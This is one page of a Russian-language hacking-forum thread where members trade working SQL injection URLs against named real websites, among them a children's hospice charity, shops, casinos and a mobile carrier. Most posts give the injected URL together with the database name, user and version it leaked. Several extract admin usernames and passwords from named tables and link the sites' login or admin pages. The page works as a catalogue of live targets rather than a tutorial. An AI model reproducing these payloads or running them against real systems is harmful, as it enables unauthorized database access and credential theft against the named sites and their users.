SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 677 of 798
  1. eclipse

    eclipse Member

    Joined:
    19 Dec 2010
    Messages:
    155
    Likes Received:
    74
    Reputations:
    85
    PR -5
    Имя БД; db_hospiz
    Версия БД: MySQL 4.1.10a-Max-log
    Имя пользователя БД; cl_hospiz@localhost
    Эксплойт:
    Code:
    http://www.deutscher-kinderhospizverein.de/42_ambulante_einzel_wir.php?id=-1+union+select+1,2,3,4,5,aes_decrypt(aes_encrypt(concat_ws('  ;  ',DATABASE(),USER(),VERSION()),0x71),0x71),7+--+
    PR -4
    Имя БД; DB325512
    Версия БД: MySQL 5.0.91-log
    Имя пользователя БД; [email protected]
    Эксплойт:
    Code:
    http://www.genuin.de/en/04_d.php?k=-1%27+union+select+1,user%28%29,group_concat%28table_name%29,4,5,database%28%29,version%28%29,8,9,10,11,12+from+information_schema.tables+--+
     
    #13521 eclipse, 6 Jan 2011
  2. kamaz

    kamaz Elder - Старейшина

    Joined:
    31 Jan 2007
    Messages:
    151
    Likes Received:
    275
    Reputations:
    280
    Code:
    http://www.suncellular.com.ph/phone_detail.php?id=-79+union+select+1,concat(user,0x3a,pass),3,4,5,6 ,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32+from+cphulkd.auths limit 1+--+
    Та, вроде бы, все нормально получается ^_^
     
    #13522 kamaz, 6 Jan 2011
    1 person likes this.
  3. Hack_ERR++

    Hack_ERR++ Member

    Joined:
    13 Aug 2009
    Messages:
    41
    Likes Received:
    9
    Reputations:
    0
    Code:
    http://kalakkalcinema.com/tamil_detail.php?id=-323+union+select+1,2,3,group_concat(column_name),5,6,7,8,9,10,11,12,13,14+from+information_schema.columns+where+table_name=0x74626c5f61646d696e--
http://www.verdammnis.com/pictures.php?id=-323+union+select+1,unhex(hex(table_name)),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33+from+information_schema.tables--
http://www.pesic.name/slika.php?id=-323+union+select+1,2,3,table_name,5,6,7,8,9,10+from+information_schema.tables--
     
    #13523 Hack_ERR++, 7 Jan 2011
  4. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    http://www.thecommunitylibrary.org/calendar.php?cID=55+and+length(char(1))!=1+union(select+1,2,3,4,5,6,7)
     
    _________________________
    #13524 Konqi, 7 Jan 2011
    Last edited: 7 Jan 2011
  5. good.god

    good.god Member

    Joined:
    23 Nov 2009
    Messages:
    260
    Likes Received:
    32
    Reputations:
    0
    Code:
    http://www.supairball.com/site2008/2nd.php?n=9-1+union+select+1,concat_ws('%20;%20',database(),user(),version()),group_concat(table_name),4,5,6,7,8,9+from+information_schema.tables--
    supairball

    [email protected]

    5.0.67-0ubuntu6-log

    Code:
    http://www.salasbingo.com/en/casino.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13+--+
    5.0.91-log

    winzingo

    [email protected]

    при information_schema.tables, как я понял, union фильтруется, обойти не получилось. При простом переборе вроде наткнулся на таблицу с юзерами, а именно w.user, но пишет что-то типа нет прав для чтения этой таблицы(может и ошибаюсь). Это я всё про последнее...
     
    #13525 good.god, 7 Jan 2011
    Last edited: 8 Jan 2011
    2 people like this.
  6. look2009

    look2009 Member

    Joined:
    3 Jun 2009
    Messages:
    80
    Likes Received:
    63
    Reputations:
    5
    http://www.mattmo.nl/detail.php?project=125/**/union/**/select/**/USER(),2,3--

    root@localhost
    5.0.45-log
    mattmo
    ---------
    http://www.travelersjournal.com/articles2.php?ID=233/**/union/**/select/**/1,USER(),DATABASE(),4,VERSION(),6,7--

    travjourn
    travjourn@localhost
    4.1.22
     
    #13526 look2009, 8 Jan 2011
    Last edited by a moderator: 8 Jan 2011
  7. S[N]EP

    S[N]EP Elder - Старейшина

    Joined:
    29 Aug 2008
    Messages:
    102
    Likes Received:
    28
    Reputations:
    10
    Code:
    http://www.smokycarrot.com/index.php?rubID=0+union +select+1,2,3,version(),5,6,7 ,8,9,10,11,12,13,14,15--
    Version - 5.0.67-log
    User - [email protected]
    Database - smokycarrotcom
     
    #13527 S[N]EP, 8 Jan 2011
  8. Фараон

    Фараон коКотэ Of Antichat

    Joined:
    7 Nov 2010
    Messages:
    153
    Likes Received:
    105
    Reputations:
    83
    http://www.newacropol.ru/na/russia/entry/?id=-1088%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,concat_ws(0x3a,cal_login,cal_passwd),16,17,18,19,20%20from%20afisha.webcal_user%20limit%200,1--

    Version - 5.0.67

    Database - afisha


    ТИЦ400 PR5
     
    #13528 Фараон, 9 Jan 2011
    Last edited by a moderator: 9 Jan 2011
    2 people like this.
  9. eclipse

    eclipse Member

    Joined:
    19 Dec 2010
    Messages:
    155
    Likes Received:
    74
    Reputations:
    85
    PR -4
    Имя БД; shropshi_sccc
    Версия БД: 5.0.89-community
    Имя пользователя БД; shropshi_sccc@localhost
    Эксплойт:
    Code:
    http://www.shropshireccc.co.uk/newsarticle.php?ID='+union+select+1,[COLOR=Red]concat_ws('~',id,username,password)[/COLOR],[COLOR=Red]null[/COLOR],4,[COLOR=Red]null[/COLOR],6+from+als3_users+--+
    PR -2
    Имя БД; heidi
    Версия БД: MySQL 4.1.20
    Имя пользователя БД; heidi_f@localhost
    Эксплойт:
    Code:
    http://www.chinahiking.cn/hike.php?r=-1+union+select+1,[COLOR=Red]2[/COLOR],3,[COLOR=Red]4[/COLOR],5,6
     
    #13529 eclipse, 10 Jan 2011
    Last edited: 10 Jan 2011
    1 person likes this.
  10. wwwROOT

    wwwROOT Member

    Joined:
    24 May 2009
    Messages:
    80
    Likes Received:
    50
    Reputations:
    -6
    cy 10
    pr 1

    espetsmash_cu@localhost
    espetsmash_cu
    5.0.77

    Code:
    http://eshop-spetsmash.kiev.ua/index.php?w=article&lang=ru&id=-3%20union%20select%201,VERSION%28%29,USER%28%29,DATABASE%28%29,5
    information_schema доступна
     
    #13530 wwwROOT, 10 Jan 2011
    1 person likes this.
  11. good.god

    good.god Member

    Joined:
    23 Nov 2009
    Messages:
    260
    Likes Received:
    32
    Reputations:
    0
    Code:
    http://ww.sexshop.com.pl/en/zamow.php?id=-1+union+select+1,version(),3,4,5,database(),user(),8,9,10,11,12,13+--+
    5.0.91-log

    hipermedia

    hipermedia@localhost

    Code:
    http://www.f1shop.ru/goods2.php?num=-1+union+select+1,version(),3,4,5,6,7,8,database(),user(),11,12+--+
    5.0.90

    [email protected]

    b89072_f1shop
     
    #13531 good.god, 10 Jan 2011
    Last edited: 10 Jan 2011
    2 people like this.
  12. Konqi

    Konqi Green member

    Joined:
    24 Jun 2009
    Messages:
    2,251
    Likes Received:
    1,148
    Reputations:
    886
    http://www.designtrust.com/english/document_2.php?did=67+or+1+group+by+concat(version(),floor(rand(0)*2))having+min(0)+or+1--

    http://www.cursodepintura.com.br/?c=Id%C3%A9ias&n=5118+and+1=(select+version()::int+from+pg_user)

    http://www.acmeunited.com/acme_west/index.php?did=1796+or+1+group+by+concat((select+concat_ws(0x3a,username,password)+from+cms_users+limit+2,1),floor(rand(0)*2))having+min(0)+or+1--&sname=Products
     
    _________________________
    #13532 Konqi, 11 Jan 2011
    Last edited: 11 Jan 2011
    2 people like this.
  13. BaleHoK

    BaleHoK Elder - Старейшина

    Joined:
    30 Sep 2007
    Messages:
    399
    Likes Received:
    21
    Reputations:
    10
    pornoxo.com/templates/related.php?c=0&id=-13719+or+1=0+union select 1,version()--
    Болтается на 5-ке
     
    #13533 BaleHoK, 11 Jan 2011
    Last edited: 20 Jan 2011
    2 people like this.
  14. Mr.Br0wn

    Mr.Br0wn Banned

    Joined:
    26 Oct 2009
    Messages:
    40
    Likes Received:
    12
    Reputations:
    2
    http://www.cretonnerre.be/news/comment.php?id=126+and+1=0+union+select+1,2,3,4,concat_ws(0x3a,version(),user(),database())--

    Version: 5.0.51a-24+lenny4-log
    User: cretonnerre@localhost
    Database: cretonnerre

    http://www.cretonnerre.be/admin/
     
    #13534 Mr.Br0wn, 11 Jan 2011
    Last edited by a moderator: 11 Jan 2011
    1 person likes this.
  15. good.god

    good.god Member

    Joined:
    23 Nov 2009
    Messages:
    260
    Likes Received:
    32
    Reputations:
    0
    Code:
    http://www.zrelishe.ru/module/kino/view_film.php?id=-1+union+select+1,group_concat(name,0x3a,password),3,4,5,6,7,concat_ws(0x3a3a,user(),version(),database()),9,10,11,12,13,14,15+from+frb_users+--+
    zrelishe@localhost

    5.1.35-log

    zrelishe

    Code:
    http://nicecasino.net/index.php?id=16-999.9+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6,7,8,9,10,11+--+
    5.0.91-log

    petermol_lz

    [email protected]
     
    #13535 good.god, 11 Jan 2011
    Last edited: 11 Jan 2011
  16. Dr..VATSON

    Dr..VATSON Elder - Старейшина

    Joined:
    7 Dec 2008
    Messages:
    52
    Likes Received:
    53
    Reputations:
    18
    http://www.arashido.com/calendar.php?id=-171+union+select+1,concat_ws(0x3a,adminUserName,adminPassword),3,4+FROM+config%20--

    http://www.arashido.com/login.php
     
    #13536 Dr..VATSON, 13 Jan 2011
  17. LiRvD082

    LiRvD082 Member

    Joined:
    4 Oct 2009
    Messages:
    44
    Likes Received:
    16
    Reputations:
    5
    Давно меня не было:)
    http://rusuper.ru/objs/view1.php?id_city=30&id_obj=-3251+UNION+SELECT+1,2,3,group_concat(unhex(hex(column_name))),5,6,7,8,9+FROM+INFORMATION_SCHEMA.columns+where+table_name=0x7573657273--
     
    #13537 LiRvD082, 13 Jan 2011
  18. LiRvD082

    LiRvD082 Member

    Joined:
    4 Oct 2009
    Messages:
    44
    Likes Received:
    16
    Reputations:
    5
    И ещё парочка:
    http://avon.co.in/productdetails.php?pid=-99+UNION+SELECT+1,2,login,4,5,6,7,8,9,10,password,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29+FROM+admin--

    http://990909.ru/index.php
    ?podrobno=-16+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,GROUP_CONCAT(COLUMN_NAME),35,36,37,38,39,40,41,42,43,44,45,46,47+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x61646d696e--

    http://www.magnifix.co.nz/magnifix/showproduct.php
    ?id=24+UNION+SELECT+version(),1,2,3/*
     
    #13538 LiRvD082, 13 Jan 2011
  19. Onkelz

    Onkelz New Member

    Joined:
    22 Sep 2010
    Messages:
    38
    Likes Received:
    2
    Reputations:
    -1
    ты думаеш такой хитрый что можеш постить скули сразу в двух форумах?

    предупреждаю последний раз, не делай так, все равно все сообщения будут удалены.

    //Злой модер!
     
    #13539 Onkelz, 13 Jan 2011
    Last edited by a moderator: 13 Jan 2011
  20. S[N]EP

    S[N]EP Elder - Старейшина

    Joined:
    29 Aug 2008
    Messages:
    102
    Likes Received:
    28
    Reputations:
    10
    Code:
    http://autoob.ru/avtomobil/view.php?id=0+union+select+1,2,3,4,5,6,7,8,9,10,11,concat_ ws(0x3a,version(),user(),database()),13,14,15
    Version: 5.0.77-log
    User: eresik_autoob@localhost
    Database: eresik_autoob

    -----

    Code:
    http://rusuper.ru/index1.php?id_city=-20+union+select+1,conc at_ws(0x3a,version(),user(),database()),3,4
    Version: 5.0.77-log
    User: eresik_rusuper@localhost
    Database: eresik_rusuper
    п.с. Увидел, что этот сайт уже тут выложен, но уязвимость на другой странице, думаю можно оставить?)
     
    #13540 S[N]EP, 13 Jan 2011
    Last edited: 13 Jan 2011
(You must log in or sign up to post here.)
Page 677 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.